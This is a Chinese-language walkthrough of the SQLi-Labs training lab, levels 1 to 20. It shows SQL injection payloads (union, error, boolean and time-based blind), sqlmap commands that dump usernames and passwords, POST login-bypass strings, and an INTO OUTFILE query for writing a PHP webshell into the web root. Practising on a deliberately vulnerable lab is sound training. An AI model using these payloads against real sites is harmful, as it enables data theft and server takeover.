当黑客就入门 SQLi-Labs 1-20 详细攻略

准备工作:
安装phpstudy,在WWW里放入sqli-Lab的源码
配置源码中的sql账号和密码,将其与数据库MySQL连接起来
安装burpsuit的环境Java
进入源码 添加部分内容便于辅助做实验:
当黑客就入门 SQLi-Labs 1-20 详细攻略_第1张图片
本文将以Lab-1为例,详细讲述如何手工和利用工具来获取数据
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
1. 阅览php代码可知前20次所有实验的查询结构大致为:
SELECT * FROM users WHERE id=[ ] limit 0,1; (其中[ ]内容与提示有关)
2. 前19题均为在url上动手脚的GET型注入,故我们将在url后缀做“手脚”:
判断是否为注入点:

http://172.26.45.178/sqllab/Less-1/?id=1  #创建登录url

当黑客就入门 SQLi-Labs 1-20 详细攻略_第2张图片

判断是字符型还是数值型,若是字符型,我们将试着猜出他所使用的结构
根据提示,我们在id=1后添加’,现象如下:
当黑客就入门 SQLi-Labs 1-20 详细攻略_第3张图片
一般情况下到这里便可以使用SQLMAP跑数据库,手工注入则需要知道方框内的结构。常见的闭合结构可以参考附录一,新手可以根据题目的提示来写出题目的结构。
3. 手动注入方式:
第一步:判断输出的列数(此处使用orderby来判断)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第4张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第5张图片
第二步:使用联合查询,依次爆出库名,表名,列名,信息
Payload如下:
在这里插入图片描述
当黑客就入门 SQLi-Labs 1-20 详细攻略_第6张图片

当黑客就入门 SQLi-Labs 1-20 详细攻略_第7张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第8张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第9张图片
总结:手工注入较为繁琐,需掌握常见的闭合结构和查询语句。
4. 利用sqlmap注入:

当黑客就入门 SQLi-Labs 1-20 详细攻略_第10张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第11张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第12张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第13张图片
对应命令:
在这里插入图片描述

sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" --current-db									#获取当前数据库名称
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" --tables							#列出指定数据库的表名
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" -T "users" --columns				#列出指定数据库对应的字段
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" -T "users" -C "username" --dump	#列出指定数据库对应表的指定字段username内容
sqlmap -u "http://172.26.45.178/sqllab/Less-1/?id=1" -D "security" -T "users" -C "password" --dump	#列出指定数据库对应表的指定字段password内容

以上为利用sqlmap获取我们想要信息的步骤,推荐的sqlmap和Linux环境安装
Less-2 GET - Error based - Intiger based (基于错误的GET数字型注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第14张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第15张图片
注入漏洞利用方法同Less-1,如无特殊情况将不做过多赘述。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第16张图片
显然存在注入漏洞,注入漏洞利用方法同Less-1。

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第17张图片
显然存在注入漏洞,注入漏洞利用方法同Less-1。

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第18张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第19张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第20张图片
找出其闭合结构,经尝试其存在注入漏洞,利用自动化工具sqlmap方法同less-1
查找网上的手工注入方法:

当黑客就入门 SQLi-Labs 1-20 详细攻略_第21张图片

?id=1' and if(length(database())=8,sleep(5),1)--+	
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

手工注入的方式枉费工夫,对于此类无输出的情况,在判断有注入漏洞,应优先使用sqlmap。

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
Payload:?id=1” --+

当黑客就入门 SQLi-Labs 1-20 详细攻略_第22张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第23张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第24张图片
显然存在注入漏洞,注入漏洞利用方法同Less-5。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
通过添加’报错判断存在注入漏洞,经测试可以找出这题的闭合结构

当黑客就入门 SQLi-Labs 1-20 详细攻略_第25张图片
在这里插入图片描述
按照提示,这题有到处文件漏洞,通过导出可以写入小马。
若出现无法写入情况,首先进入phpmyadmin中到相应表中进行测试,测试语句为
select * from users WHERE id=((‘a’)) union select 1,2,‘11111’ into outfile ‘D://phpStudy//WWW//1.php’#’)) LIMIT 0,1;其中存放的目录因人而异,特别地,需要使用双斜杠来进行转义。若不能执行则需要更改my.ini的内容,无secure-file-priv=””则需要在末尾添加

在这里插入图片描述
注入漏洞利用方法同Less-1,亦可以在导出小马后,使用C刀进行连接。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
注入漏洞利用方法同Less-1。
Payload:?id=1’ --+

当黑客就入门 SQLi-Labs 1-20 详细攻略_第26张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第27张图片
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
Payload:?id=1’and sleep(10) --+

当黑客就入门 SQLi-Labs 1-20 详细攻略_第28张图片
显然存在注入漏洞,注入漏洞利用方法同Less-5。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
Payload:?id=1”and sleep(10)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第29张图片
显然存在注入漏洞,注入漏洞利用方法同Less-5。

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
此题为POST型,可以使用firefox或者burpsuit来验证漏洞的存在
使用Burpsuit抓包,可以看到包中的内容,猜测他的闭合结构,经测试其
Payload:
1.uname=admin’ and 1=1 --+ &passwd=admin&submit=Submit #能登陆
2.uname=admin’ and 1=2 --+ &passwd=admin&submit=Submit #不能登陆

当黑客就入门 SQLi-Labs 1-20 详细攻略_第30张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第31张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第32张图片
自动化注入漏洞利用方法与Less-5略有区别,使用sqlmap的第二个用法
当黑客就入门 SQLi-Labs 1-20 详细攻略_第33张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第34张图片
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
Payload如下

当黑客就入门 SQLi-Labs 1-20 详细攻略_第35张图片
在这里插入图片描述
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
Payload如下:
报错型

在这里插入图片描述
当黑客就入门 SQLi-Labs 1-20 详细攻略_第36张图片
时间型
当黑客就入门 SQLi-Labs 1-20 详细攻略_第37张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第38张图片
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
报错型Payload:

当黑客就入门 SQLi-Labs 1-20 详细攻略_第39张图片
在这里插入图片描述
时间型Payload:
在这里插入图片描述
当黑客就入门 SQLi-Labs 1-20 详细攻略_第40张图片
聚合型Payload
在这里插入图片描述
当黑客就入门 SQLi-Labs 1-20 详细攻略_第41张图片
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第42张图片
在这里插入图片描述
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第43张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第44张图片
此处万能密码Admin”)#也可以绕过
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第45张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第46张图片
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
当黑客就入门 SQLi-Labs 1-20 详细攻略_第47张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第48张图片
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第49张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第50张图片
现象显示存在注入漏洞,注入漏洞利用方法同Less-11。

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

当黑客就入门 SQLi-Labs 1-20 详细攻略_第51张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第52张图片
当黑客就入门 SQLi-Labs 1-20 详细攻略_第53张图片
附录一常见的闭合方式
SELECT * FROM users WHERE id=1;
SELECT * FROM users WHERE id=’1’;
SELECT * FROM users WHERE id=”1”;
SELECT * FROM users WHERE id=(1);
SELECT * FROM users WHERE id=(‘1’);
SELECT * FROM users WHERE id=(”1”);
SELECT * FROM users WHERE id=((“1” ));
SELECT * FROM users WHERE id=(“1”);

你可能感兴趣的:(SQLi)